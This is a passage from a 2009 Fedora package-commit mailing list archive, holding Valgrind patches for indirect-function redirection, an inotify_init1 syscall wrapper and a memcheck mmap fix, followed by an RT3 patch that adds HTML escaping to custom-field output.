    while (True) {
 
       if (sym[i] == '_')
diff --git a/coregrind/m_redir.c b/coregrind/m_redir.c
index 98a502f..0140fc0 100644
--- a/coregrind/m_redir.c
+++ b/coregrind/m_redir.c
@@ -223,6 +223,7 @@ typedef
       HChar* from_fnpatt;  /* from fnname pattern  */
       Addr   to_addr;      /* where redirecting to */
       Bool   isWrap;       /* wrap or replacement? */
+      Bool   isIFunc;      /* an indirect function? */
       const HChar** mandatory; /* non-NULL ==> abort V and print the
                                   strings if from_sopatt is loaded but
                                   from_fnpatt cannot be found */
@@ -268,12 +269,20 @@ typedef
       TopSpec* parent_spec; /* the TopSpec which supplied the Spec */
       TopSpec* parent_sym;  /* the TopSpec which supplied the symbol */
       Bool     isWrap;      /* wrap or replacement? */
+      Bool     isIFunc;
    }
    Active;
 
+typedef
+   struct {
+       Addr indirect_func;
+       Addr direct_func;
+   }
+   IFuncToDirectFuncEntry;
+
 /* The active set is a fast lookup table */
 static OSet* activeSet = NULL;
-
+static OSet* iFuncToDirectFuncSet = NULL;
 
 /*------------------------------------------------------------*/
 /*--- FWDses                                               ---*/
@@ -317,7 +326,7 @@ void generate_and_add_actives (
 
 void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
 {
-   Bool         ok, isWrap;
+   Bool         ok, isWrap, isIFuncRedirect = False;
    Int          i, nsyms;
    Spec*        specList;
    Spec*        spec;
@@ -350,10 +359,16 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
 
    nsyms = VG_(DebugInfo_syms_howmany)( newsi );
    for (i = 0; i < nsyms; i++) {
-      VG_(DebugInfo_syms_getidx)( newsi, i, &sym_addr, &sym_toc, 
-                                            NULL, &sym_name, &isText );
-      ok = VG_(maybe_Z_demangle)( sym_name, demangled_sopatt, N_DEMANGLED,
-                                  demangled_fnpatt, N_DEMANGLED, &isWrap );
+      VG_(DebugInfo_syms_getidx)( newsi, i, &sym_addr,
+                                  &sym_toc, NULL, &sym_name,
+                                  &isText, NULL );
+      ok = VG_(maybe_Z_demangle)( sym_name,
+                                  demangled_sopatt,
+                                  N_DEMANGLED,
+                                  demangled_fnpatt,
+                                  N_DEMANGLED,
+                                  &isWrap,
+                                  &isIFuncRedirect );
       /* ignore data symbols */
       if (!isText)
          continue;
@@ -378,6 +393,7 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
       vg_assert(spec->from_fnpatt);
       spec->to_addr = sym_addr;
       spec->isWrap = isWrap;
+      spec->isIFunc = isIFuncRedirect;
       /* check we're not adding manifestly stupid destinations */
       vg_assert(is_plausible_guest_addr(sym_addr));
       spec->next = specList;
@@ -388,12 +404,15 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
 
    if (check_ppcTOCs) {
       for (i = 0; i < nsyms; i++) {
-         VG_(DebugInfo_syms_getidx)( newsi, i, &sym_addr, &sym_toc, 
-                                               NULL, &sym_name, &isText );
+         VG_(DebugInfo_syms_getidx)( newsi, i, &sym_addr,
+                                     &sym_toc, NULL,
+                                     &sym_name, &isText,
+                                     NULL );
          ok = isText
               && VG_(maybe_Z_demangle)( 
                     sym_name, demangled_sopatt, N_DEMANGLED,
-                    demangled_fnpatt, N_DEMANGLED, &isWrap );
+                    demangled_fnpatt, N_DEMANGLED, &isWrap,
+                    NULL );
          if (!ok)
             /* not a redirect.  Ignore. */
             continue;
@@ -470,6 +489,38 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
 
 #undef N_DEMANGLED
 
+/* Consider the redirection old_from --> somefunction;
+   In that redirection, old_from is the address of an indirect function.
+   The target of that redirection was certainly a function declared with
+   VG_WRAP_I_FUNCTION_ZZ (look in vg_preloaded.c for instance).
+   This function then setups a new redirection new_from -> ifunc_target,
+   where ifunc_target is the target of the indirect function which address
+   is old_from.  */
+void VG_(redir_change_ifunc_target)(Addr old_from,
+                                    Addr new_from)
+{
+    Active *old, new;
+    IFuncToDirectFuncEntry *e;
+
+    old = VG_(OSetGen_Lookup)(activeSet, &old_from);
+    vg_assert(old);
+    vg_assert(old->isIFunc);
+
+    e = VG_(OSetGen_Lookup)(iFuncToDirectFuncSet, &old_from);
+
+    new = *old;
+    if (e) {
+        new.from_addr = new_from;
+        new.to_addr = e->direct_func;
+        if (VG_(clo_trace_redir))
+            VG_(message) (Vg_DebugMsg, "changed redir (%lx)[indired]->(%lx) "
+                           "to (%lx) -> (%lx))\n",
+                           old_from, old->to_addr,
+                           new_from, e->direct_func);
+        new.isIFunc = False;
+        maybe_add_active (new);
+    }
+}
 
 /* Do one element of the basic cross product: add to the active set,
    all matches resulting from comparing all the given specs against
@@ -487,7 +538,7 @@ void generate_and_add_actives (
      )
 {
    Spec*  sp;
-   Bool   anyMark, isText;
+   Bool   anyMark, isText, isIFunc = False;
    Active act;
    Int    nsyms, i;
    Addr   sym_addr;
@@ -513,7 +564,7 @@ void generate_and_add_actives (
    nsyms = VG_(DebugInfo_syms_howmany)( di );
    for (i = 0; i < nsyms; i++) {
       VG_(DebugInfo_syms_getidx)( di, i, &sym_addr, NULL, NULL,
-                                         &sym_name, &isText );
+                                  &sym_name, &isText, &isIFunc );
 
       /* ignore data symbols */
       if (!isText)
@@ -533,13 +584,47 @@ void generate_and_add_actives (
          if (!sp->mark)
             continue; /* soname doesn't match */
          if (VG_(string_match)( sp->from_fnpatt, sym_name )) {
+            if (!isIFunc && sp->isIFunc)
+                continue;
+            sp->done = True;
+            if (isIFunc && !sp->isIFunc) {
+                IFuncToDirectFuncEntry *e;
+                 /* So we are facing a redirection spec
+                    indirect function -> direct function.
+                    We need to store that mapping in iFuncToDirectFuncSet so
+                    that later once the indirect function's relocations are
+                    processed by the dynamic linker on the client, we
+                    can set up a redirection from the target of the indirect
+                    function to sp->to_addr.  */
+                if (!iFuncToDirectFuncSet) {
+                    iFuncToDirectFuncSet =
+                        VG_(OSetGen_Create)(offsetof (IFuncToDirectFuncEntry,
+                                                      indirect_func),
+                                            NULL /*ptr compare*/,
+                                            dinfo_zalloc,
+                                            "redir.ri.2",
+                                            dinfo_free);
+                    vg_assert (iFuncToDirectFuncSet);
+                }
+                e = VG_(OSetGen_Lookup)(iFuncToDirectFuncSet, &sym_addr);
+                if (e)
+                    continue;
+                e = VG_(OSetGen_AllocNode)(iFuncToDirectFuncSet,
+                                           sizeof (IFuncToDirectFuncEntry));
+                vg_assert (e);
+                e->indirect_func = sym_addr;
+                e->direct_func = sp->to_addr;
+                VG_(OSetGen_Insert)(iFuncToDirectFuncSet, e);
+                continue;
+            }
             /* got a new binding.  Add to collection. */
             act.from_addr   = sym_addr;
             act.to_addr     = sp->to_addr;
             act.parent_spec = parent_spec;
             act.parent_sym  = parent_sym;
             act.isWrap      = sp->isWrap;
-            sp->done = True;
+            if (isIFunc)
+                act.isIFunc = True;
             maybe_add_active( act );
          }
       } /* for (sp = specs; sp; sp = sp->next) */
diff --git a/coregrind/m_scheduler/scheduler.c b/coregrind/m_scheduler/scheduler.c
index 295e0ab..4083034 100644
--- a/coregrind/m_scheduler/scheduler.c
+++ b/coregrind/m_scheduler/scheduler.c
@@ -89,6 +89,7 @@
 #include "pub_core_debuginfo.h"     // VG_(di_notify_pdb_debuginfo)
 #include "priv_sema.h"
 #include "pub_core_scheduler.h"     // self
+#include "pub_core_redir.h"
 
 
 /* ---------------------------------------------------------------------
@@ -1399,6 +1400,11 @@ void do_client_request ( ThreadId tid )
             SET_CLREQ_RETVAL( tid, count );
          break; }
 
+      case VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET: {
+         VG_(redir_change_ifunc_target)( arg[1], arg[2] );
+         SET_CLREQ_RETVAL( tid, 0);
+         break; }
+
       case VG_USERREQ__PRINTF_BACKTRACE: {
          Int count =
             VG_(vmessage)( Vg_ClientMsg, (char *)arg[1], (void*)arg[2] );
diff --git a/coregrind/pub_core_clreq.h b/coregrind/pub_core_clreq.h
index 563904b..f881ffe 100644
--- a/coregrind/pub_core_clreq.h
+++ b/coregrind/pub_core_clreq.h
@@ -50,6 +50,11 @@ typedef
       /* Internal equivalent of VALGRIND_PRINTF . */
       VG_USERREQ__INTERNAL_PRINTF   = 0x3103,
 
+      /* Update an indirect function redirection.
+         Read VG_(redir_change_ifunc_target) in
+         coregrind/m_redir.c for more. */
+      VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET = 0x3104,
+
    } Vg_InternalClientRequest;
 
 // Function for printing from code within Valgrind, but which runs on the
diff --git a/coregrind/pub_core_demangle.h b/coregrind/pub_core_demangle.h
index bac72c0..738cbc1 100644
--- a/coregrind/pub_core_demangle.h
+++ b/coregrind/pub_core_demangle.h
@@ -59,7 +59,8 @@ extern
 Bool VG_(maybe_Z_demangle) ( const HChar* sym, 
                              /*OUT*/HChar* so, Int soLen,
                              /*OUT*/HChar* fn, Int fnLen,
-                             /*OUT*/Bool* isWrap );
+                             /*OUT*/Bool* isWrap,
+			     /*OUT*/Bool* isIFunc );
 
 #endif   // __PUB_CORE_DEMANGLE_H
 
diff --git a/coregrind/pub_core_redir.h b/coregrind/pub_core_redir.h
index c993c27..025789d 100644
--- a/coregrind/pub_core_redir.h
+++ b/coregrind/pub_core_redir.h
@@ -59,6 +59,9 @@ extern void VG_(redir_notify_delete_DebugInfo)( DebugInfo* );
 extern void VG_(redir_initialise)( void );
 
 
+extern void VG_(redir_change_ifunc_target)( Addr old_from,
+                                            Addr new_from );
+
 //--------------------------------------------------------------------
 // Queries
 //--------------------------------------------------------------------
diff --git a/coregrind/vg_preloaded.c b/coregrind/vg_preloaded.c
index 6f0f049..28e6c7d 100644
--- a/coregrind/vg_preloaded.c
+++ b/coregrind/vg_preloaded.c
@@ -68,6 +68,33 @@ void VG_NOTIFY_ON_LOAD(freeres)( void )
    *(int *)0 = 'x';
 }
 
+/* Wrap all indirect functions defined in glibc by this one.
+   This function then calls the original indirect function, gets its result
+   (which is a pointer to the function that should really be used in lieu
+   of the indirect function) and then asks valgrind core
+   (running on the real CPU) to update the redirection "ifunc -> this function".
+
+*/
+void * VG_WRAP_I_FUNCTION_ZZ(VG_Z_LIBC_SONAME, Za) (void);
+void * VG_WRAP_I_FUNCTION_ZZ(VG_Z_LIBC_SONAME, Za) (void)
+{
+    OrigFn fn;
+    Addr result = 0;
+    int res;
+
+    VALGRIND_GET_ORIG_FN(fn);
+    CALL_FN_W_v(result, fn);
+
+    /* Ask the valgrind core running on the real CPU (as opposed to this
+       code which runs on the emulated CPU) to update the redirection that
+       led to this function. This client request eventually gives control to
+       the function VG_(redir_change_ifunc_target) in m_redir.c  */
+    VALGRIND_DO_CLIENT_REQUEST(res, 0,
+                               VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET,
+                               fn.nraddr, result, 0, 0, 0);
+    return result;
+}
+
 #elif defined(VGO_darwin)
 
 /* ---------------------------------------------------------------------
diff --git a/include/pub_tool_debuginfo.h b/include/pub_tool_debuginfo.h
index a02b790..85129ce 100644
--- a/include/pub_tool_debuginfo.h
+++ b/include/pub_tool_debuginfo.h
@@ -212,7 +212,8 @@ void VG_(DebugInfo_syms_getidx)  ( const DebugInfo *di,
                                    /*OUT*/Addr*   tocptr,
                                    /*OUT*/UInt*   size,
                                    /*OUT*/HChar** name,
-                                   /*OUT*/Bool*   isText );
+                                   /*OUT*/Bool*   isText,
+                                   /*OUT*/Bool*   isIFunc);
 
 /* A simple enumeration to describe the 'kind' of various kinds of
    segments that arise from the mapping of object files. */
diff --git a/include/pub_tool_redir.h b/include/pub_tool_redir.h
index 3d3b516..ff6af2e 100644
--- a/include/pub_tool_redir.h
+++ b/include/pub_tool_redir.h
@@ -51,6 +51,16 @@
    sure you use the VG_REPLACE_FN_ macros and not the VG_WRAP_FN_
    macros.
 
+   Indirect functions
+   ~~~~~~~~~~~~~~~~~
+
+   An indirect function is an ELF function symbol whose st_info is STT_GNU_IFUNC
+   instead of STT_FUNC. To make a long story short, it points to a target
+   function which control is eventually transfered to.
+   More on those at http://www.x86-64.org/pipermail/discuss/2009-June/010553.html.
+   Replacing or wrapping indirect functions need special care.
+   More about it below in "indirect function wrapping and replacing".
+
    Replacement
    ~~~~~~~~~~~
    To write a replacement function, do this:
@@ -126,7 +136,8 @@
    ~~~~~~~~~~
    Z-encoding details: the scheme is like GHC's.  It is just about
    readable enough to make a preprocessor unnecessary.  First the
-   "_vgrZU_" or "_vgrZZ_" prefix is added, and then the following
+   "_vgrZU_" or "_vgrZZ_" or (for indirect functions) "_vgirZU_"/"_vgirZZ_"
+   prefix is added, and then the following
    characters are transformed.
 
      *         -->  Za    (asterisk)
@@ -143,6 +154,17 @@
      Z         -->  ZZ    (Z)
 
    Everything else is left unchanged.
+
+   Indirect function wrapping
+   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+   VG_WRAP_I_FUNCTION_ZZ is a macro (similar to VG_WRAP_FUNCTION_ZZ) that
+   wraps functions only. It does not have any effect on regular (STT_FUNC) functions.
+   Beware, the use of VG_WRAP_I_FUNCTION_ZZ in coregrin/vg_preloaded.c makes
+   the wrapping function match all the indirect functions of the C library.
+   So no other use of that macro should be necessary to match
+   indirect functions of the C library.
+
 */
 
 /* If you change these, the code in VG_(maybe_Z_demangle) needs to be
@@ -158,6 +180,7 @@
 
 #define VG_WRAP_FUNCTION_ZU(soname,fnname) VG_CONCAT4(_vgwZU_,soname,_,fnname)
 #define VG_WRAP_FUNCTION_ZZ(soname,fnname) VG_CONCAT4(_vgwZZ_,soname,_,fnname)
+#define VG_WRAP_I_FUNCTION_ZZ(soname,fnname) VG_CONCAT4(_vgiwZZ_,soname,_,fnname)
 
 /* --------- Some handy Z-encoded names. --------- */
 
diff --git a/memcheck/mc_replace_strmem.c b/memcheck/mc_replace_strmem.c
index c15717a..2bfe40b 100644
--- a/memcheck/mc_replace_strmem.c
+++ b/memcheck/mc_replace_strmem.c
@@ -116,6 +116,7 @@ Bool is_overlap ( void* dst, const void* src, SizeT dstlen, SizeT srclen )
 STRRCHR(VG_Z_LIBC_SONAME,   strrchr)
 STRRCHR(VG_Z_LIBC_SONAME,   rindex)
 #if defined(VGO_linux)
+STRRCHR(VG_Z_LIBC_SONAME,   __GI_strrchr)
 STRRCHR(VG_Z_LD_LINUX_SO_2, rindex)
 #elif defined(VGO_darwin)
 STRRCHR(VG_Z_DYLD,          strrchr)
@@ -140,6 +141,7 @@ STRRCHR(VG_Z_DYLD,          rindex)
 STRCHR(VG_Z_LIBC_SONAME,          strchr)
 STRCHR(VG_Z_LIBC_SONAME,          index)
 #if defined(VGO_linux)
+STRCHR(VG_Z_LIBC_SONAME,          __GI_strchr)
 STRCHR(VG_Z_LD_LINUX_SO_2,        strchr)
 STRCHR(VG_Z_LD_LINUX_SO_2,        index)
 STRCHR(VG_Z_LD_LINUX_X86_64_SO_2, strchr)
@@ -172,7 +174,9 @@ STRCHR(VG_Z_DYLD,                 index)
    }
 
 STRCAT(VG_Z_LIBC_SONAME, strcat)
-
+#if defined(VGO_linux)
+STRCAT(VG_Z_LIBC_SONAME, __GI_strcat)
+#endif
 
 #define STRNCAT(soname, fnname) \
    char* VG_REPLACE_FUNCTION_ZU(soname,fnname) \
@@ -257,6 +261,9 @@ STRLCAT(VG_Z_DYLD,        strlcat)
    }
 
 STRNLEN(VG_Z_LIBC_SONAME, strnlen)
+#if defined(VGO_linux)
+STRNLEN(VG_Z_LIBC_SONAME, __GI_strnlen)
+#endif
    
 
 // Note that this replacement often doesn't get used because gcc inlines
@@ -274,6 +281,7 @@ STRNLEN(VG_Z_LIBC_SONAME, strnlen)
 
 STRLEN(VG_Z_LIBC_SONAME,          strlen)
 #if defined(VGO_linux)
+STRLEN(VG_Z_LIBC_SONAME,          __GI_strlen)
 STRLEN(VG_Z_LD_LINUX_SO_2,        strlen)
 STRLEN(VG_Z_LD_LINUX_X86_64_SO_2, strlen)
 #endif
@@ -301,7 +309,9 @@ STRLEN(VG_Z_LD_LINUX_X86_64_SO_2, strlen)
    }
 
 STRCPY(VG_Z_LIBC_SONAME, strcpy)
-#if defined(VGO_darwin)
+#if defined(VGO_linux)
+STRCPY(VG_Z_LIBC_SONAME, __GI_strcpy)
+#elif defined(VGO_darwin)
 STRCPY(VG_Z_DYLD,        strcpy)
 #endif
 
@@ -327,7 +337,9 @@ STRCPY(VG_Z_DYLD,        strcpy)
    }
 
 STRNCPY(VG_Z_LIBC_SONAME, strncpy)
-#if defined(VGO_darwin)
+#if defined(VGO_linux)
+STRNCPY(VG_Z_LIBC_SONAME, __GI_strncpy)
+#elif defined(VGO_darwin)
 STRNCPY(VG_Z_DYLD,        strncpy)
 #endif
 
@@ -384,7 +396,9 @@ STRLCPY(VG_Z_DYLD,        strlcpy)
    }
 
 STRNCMP(VG_Z_LIBC_SONAME, strncmp)
-#if defined(VGO_darwin)
+#if defined(VGO_linux)
+STRNCMP(VG_Z_LIBC_SONAME, __GI_strncmp)
+#elif defined(VGO_darwin)
 STRNCMP(VG_Z_DYLD,        strncmp)
 #endif
 
@@ -411,6 +425,7 @@ STRNCMP(VG_Z_DYLD,        strncmp)
 
 STRCMP(VG_Z_LIBC_SONAME,          strcmp)
 #if defined(VGO_linux)
+STRCMP(VG_Z_LIBC_SONAME,          __GI_strcmp)
 STRCMP(VG_Z_LD_LINUX_X86_64_SO_2, strcmp)
 STRCMP(VG_Z_LD64_SO_1,            strcmp)
 #endif
@@ -557,6 +572,7 @@ MEMCMP(VG_Z_DYLD,        bcmp)
 
 STPCPY(VG_Z_LIBC_SONAME,          stpcpy)
 #if defined(VGO_linux)
+STPCPY(VG_Z_LIBC_SONAME,          __GI_stpcpy)
 STPCPY(VG_Z_LD_LINUX_SO_2,        stpcpy)
 STPCPY(VG_Z_LD_LINUX_X86_64_SO_2, stpcpy)
 #elif defined(VGO_darwin)

valgrind-3.5.0-inotify-init1.patch:
 b/coregrind/m_syswrap/priv_syswrap-linux.h               |    1 
 b/coregrind/m_syswrap/syswrap-amd64-linux.c              |    4 +--
 b/coregrind/m_syswrap/syswrap-linux.c                    |   18 +++++++++++++++
 b/coregrind/m_syswrap/syswrap-x86-linux.c                |    4 +--
 valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc32-linux.c |    4 +--
 valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc64-linux.c |    4 +--
 6 files changed, 27 insertions(+), 8 deletions(-)

--- NEW FILE valgrind-3.5.0-inotify-init1.patch ---
commit 4b8a2fd25a4227f0b1411bee12add2d5c887c6a2
Author: Dodji Seketeli <dodji at redhat.com>
Date:   Mon Oct 5 13:45:38 2009 +0200

    Add a wrapper for inotify_init1 (vgbz #202315)
    
    	* coregrind/m_syswrap/priv_syswrap-linux.h: Declare the
    	sys_inotify_init1 wrapper.
    	* coregrind/m_syswrap/syswrap-linux.c: Add pre/post handlers for
    	the sys_inotify_init1 syscall.
    	* coregrind/m_syswrap/syswrap-amd64-linux.c: Insert the
    	sys_inotify_init1 wrapper in the wrappers table for the amd64 arch.
    	* coregrind/m_syswrap/syswrap-x86-linux.c: Likewise for the x86_32
    	arch.

diff --git a/coregrind/m_syswrap/priv_syswrap-linux.h b/coregrind/m_syswrap/priv_syswrap-linux.h
index fed3ba6..894678d 100644
--- a/coregrind/m_syswrap/priv_syswrap-linux.h
+++ b/coregrind/m_syswrap/priv_syswrap-linux.h
@@ -116,6 +116,7 @@ DECL_TEMPLATE(linux, sys_set_mempolicy);
 DECL_TEMPLATE(linux, sys_get_mempolicy);
 
 DECL_TEMPLATE(linux, sys_inotify_init);
+DECL_TEMPLATE(linux, sys_inotify_init1);
 DECL_TEMPLATE(linux, sys_inotify_add_watch);
 DECL_TEMPLATE(linux, sys_inotify_rm_watch);
 
diff --git a/coregrind/m_syswrap/syswrap-amd64-linux.c b/coregrind/m_syswrap/syswrap-amd64-linux.c
index 605d844..bb28073 100644
--- a/coregrind/m_syswrap/syswrap-amd64-linux.c
+++ b/coregrind/m_syswrap/syswrap-amd64-linux.c
@@ -1374,8 +1374,8 @@ const SyscallTableEntry ML_(syscall_table)[] = {
    LINX_(__NR_eventfd2,          sys_eventfd2),         // 290
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 291
    //   (__NR_dup3,              sys_ni_syscall)        // 292
-   LINXY(__NR_pipe2,             sys_pipe2)             // 293
-   //   (__NR_inotify_init1,     sys_ni_syscall)        // 294
+   LINXY(__NR_pipe2,             sys_pipe2),            // 293
+   LINXY(__NR_inotify_init1,     sys_inotify_init1),     // 294
 };
 
 const UInt ML_(syscall_table_size) = 
diff --git a/coregrind/m_syswrap/syswrap-linux.c b/coregrind/m_syswrap/syswrap-linux.c
index 7f81262..895bc54 100644
--- a/coregrind/m_syswrap/syswrap-linux.c
+++ b/coregrind/m_syswrap/syswrap-linux.c
@@ -1526,6 +1526,24 @@ POST(sys_inotify_init)
    }
 }
 
+PRE(sys_inotify_init1)
+{
+   PRINT("sys_inotify_init ( %ld )", ARG1);
+   PRE_REG_READ1(long, "inotify_init", int, flag);
+}
+
+POST(sys_inotify_init1)
+{
+   vg_assert(SUCCESS);
+   if (!ML_(fd_allowed)(RES, "inotify_init", tid, True)) {
+      VG_(close)(RES);
+      SET_STATUS_Failure( VKI_EMFILE );
+   } else {
+      if (VG_(clo_track_fds))
+         ML_(record_fd_open_nameless) (tid, RES);
+   }
+}
+
 PRE(sys_inotify_add_watch)
 {
    PRINT( "sys_inotify_add_watch ( %ld, %#lx, %lx )", ARG1,ARG2,ARG3);
diff --git a/coregrind/m_syswrap/syswrap-x86-linux.c b/coregrind/m_syswrap/syswrap-x86-linux.c
index 90eb512..180e36b 100644
--- a/coregrind/m_syswrap/syswrap-x86-linux.c
+++ b/coregrind/m_syswrap/syswrap-x86-linux.c
@@ -2253,8 +2253,8 @@ const SyscallTableEntry ML_(syscall_table)[] = {
    LINXY(__NR_epoll_create1,     sys_epoll_create1),     // 329
 
    //   (__NR_dup3,              sys_ni_syscall)        // 330
-   LINXY(__NR_pipe2,             sys_pipe2)             // 331
-   //   (__NR_inotify_init1,     sys_ni_syscall)        // 332
+   LINXY(__NR_pipe2,             sys_pipe2),            // 331
+   LINKX_(__NR_inotify_init1,    sys_inotify_init1)     // 332
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc32-linux.c.jj	2009-10-09 12:52:04.000000000 +0200
+++ valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc32-linux.c	2009-10-12 16:14:33.000000000 +0200
@@ -1866,8 +1866,8 @@ const SyscallTableEntry ML_(syscall_tabl
    LINX_(__NR_eventfd2,          sys_eventfd2),         // 314
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 315
    //   (__NR_dup3,              sys_ni_syscall)        // 316
-   LINXY(__NR_pipe2,             sys_pipe2)             // 317
-   //   (__NR_inotify_init1,     sys_ni_syscall)        // 318
+   LINXY(__NR_pipe2,             sys_pipe2),            // 317
+   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 318
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc64-linux.c.jj	2009-10-09 12:52:04.000000000 +0200
+++ valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc64-linux.c	2009-10-12 16:14:55.000000000 +0200
@@ -1506,8 +1506,8 @@ const SyscallTableEntry ML_(syscall_tabl
    LINX_(__NR_eventfd2,          sys_eventfd2),         // 314
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 315
    //   (__NR_dup3,              sys_ni_syscall)        // 316
-   LINXY(__NR_pipe2,             sys_pipe2)             // 317
-   //   (__NR_inotify_init1,     sys_ni_syscall)        // 318
+   LINXY(__NR_pipe2,             sys_pipe2),            // 317
+   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 318
 };
 
 const UInt ML_(syscall_table_size) = 

valgrind-3.5.0-mmap-mprotect.patch:
 mc_main.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE valgrind-3.5.0-mmap-mprotect.patch ---
Temporarily revert a Darwin specific change that broke mmap PROT_NONE followed by
mprotect PROT_READ|PROT_WRITE.
http://bugs.kde.org/show_bug.cgi?id=210268

--- valgrind-3.5.0/memcheck/mc_main.c.jj	2009-10-09 12:51:59.000000000 +0200
+++ valgrind-3.5.0/memcheck/mc_main.c	2009-10-12 17:13:26.000000000 +0200
@@ -3705,7 +3705,7 @@ static
 void mc_new_mem_mmap ( Addr a, SizeT len, Bool rr, Bool ww, Bool xx,
                        ULong di_handle )
 {
-   if (rr || ww || xx)
+   if (1 || rr || ww || xx)
       MC_(make_mem_defined)(a, len);
    else
       MC_(make_mem_noaccess)(a, len);


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- valgrind.spec	21 Aug 2009 14:48:26 -0000	1.67
+++ valgrind.spec	12 Oct 2009 15:18:45 -0000	1.68
@@ -1,12 +1,15 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 1
+Release: 2
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
 Patch2: valgrind-3.5.0-openat.patch
 Patch3: valgrind-3.5.0-glibc-2.10.1.patch
+Patch4: valgrind-3.5.0-ifunc.patch
+Patch5: valgrind-3.5.0-inotify-init1.patch
+Patch6: valgrind-3.5.0-mmap-mprotect.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -63,6 +66,9 @@ or valgrind plugins.
 %patch1 -p1
 %patch2 -p1
 %patch3 -p1
+%patch4 -p1
+%patch5 -p1
+%patch6 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -155,6 +161,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Mon Oct 12 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-2
+- add STT_GNU_IFUNC support (Dodji Seketeli, #518247)
+- wrap inotify_init1 syscall (Dodji Seketeli, #527198)
+- fix mmap/mprotect handling in memcheck (KDE#210268)
+
 * Fri Aug 21 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-1
 - update to 3.5.0
 



From corsepiu at fedoraproject.org  Mon Oct 12 15:20:45 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:20:45 +0000 (UTC)
Subject: rpms/rt3/devel rt-3.8.4-rh-bz526870.diff, NONE, 1.1 rt3.spec, 1.42,
	1.43
Message-ID: <20091012152045.DC65211C029E@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4090

Modified Files:
	rt3.spec 
Added Files:
	rt-3.8.4-rh-bz526870.diff 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
- Add rt-3.8.4-rh-bz526870.diff (BZ #526870).


rt-3.8.4-rh-bz526870.diff:
 ShowCustomFields |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE rt-3.8.4-rh-bz526870.diff ---
--- a/share/html/Elements/ShowCustomFields
+++ b/share/html/Elements/ShowCustomFields
@@ -92,7 +92,7 @@ my $print_value = sub {
     if ( $m->comp_exists( $comp ) ) {
         $m->comp( $comp, Object => $value );
     } else {
-        $m->print( $value->Content );
+        $m->out( $m->interp->apply_escapes( $value->Content, 'h' ) );
     }
     $m->out('</a>') if $linked;


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/rt3.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- rt3.spec	27 Jul 2009 03:17:42 -0000	1.42
+++ rt3.spec	12 Oct 2009 15:20:45 -0000	1.43
@@ -55,6 +55,11 @@ Patch0:		rt-3.8.4-config.diff
 Patch2:		rt-3.8.4-Makefile.diff
 Patch3:		rt-3.8.4-test-dependencies.diff
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=526870
+# Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-September/000173.html
+# Fixed in rt >= 3.8.5
+Patch5:		rt-3.8.4-rh-bz526870.diff
+
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -232,6 +237,7 @@ find etc -type f -exec chmod a-x {} \;
 %patch0 -p1
 %patch2 -p1
 %patch3 -p1
+%patch5 -p1
 
 # Patch backups added by rpm disturb
 find -name '*.orig' -exec rm -f {} \;
@@ -431,6 +437,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
+- Add rt-3.8.4-rh-bz526870.diff (BZ #526870).
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.8.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From corsepiu at fedoraproject.org  Mon Oct 12 15:22:31 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:22:31 +0000 (UTC)
Subject: rpms/rt3/devel rt3.spec,1.43,1.44
Message-ID: <20091012152231.74C5C11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4351

Modified Files:
	rt3.spec 
Log Message:
Bump release-tag.


